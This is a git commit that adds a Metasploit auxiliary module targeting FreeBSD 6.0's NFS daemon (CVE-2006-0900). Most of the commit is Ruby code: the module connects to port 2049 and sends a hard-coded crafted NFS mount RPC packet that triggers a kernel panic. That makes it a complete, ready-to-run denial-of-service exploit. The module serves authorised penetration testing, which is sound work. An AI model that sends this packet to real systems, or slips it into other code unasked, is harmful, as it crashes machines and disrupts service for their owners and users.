added auxiliary module nfsd_mount.rb

git-svn-id: file:///home/svn/framework3/trunk@4149 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Mario Ceballos 2006-11-19 00:01:41 +00:00
parent cb5f183a07
commit 28ba2a23ad
1 changed files with 44 additions and 0 deletions

View File

@ -0,0 +1,44 @@
require 'msf/core'
module Msf
class Auxiliary::Dos::Freebsd::Nfsd::Nfs_Mount < Msf::Auxiliary
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'FreeBSD Remote NFS RPC Request Denial of Service',
'Description' => %q{
This module sends a specially-crafted NFS Mount request causing a
kernel panic on host running FreeBSD 6.0.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 3983 $',
'References' =>
[
[ 'URL', 'http://lists.immunitysec.com/pipermail/dailydave/2006-February/002982.html' ],
[ 'BID', '16838' ],
[ 'CVE', '2006-0900' ],
]))
register_options([Opt::RPORT(2049),], self.class)
end
def run
connect
pkt = "\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02"
pkt << "\x00\x01\x86\xa5\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00"
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04"
print_status("Sending dos packet...")
sock.put(pkt)
disconnect
end
end
end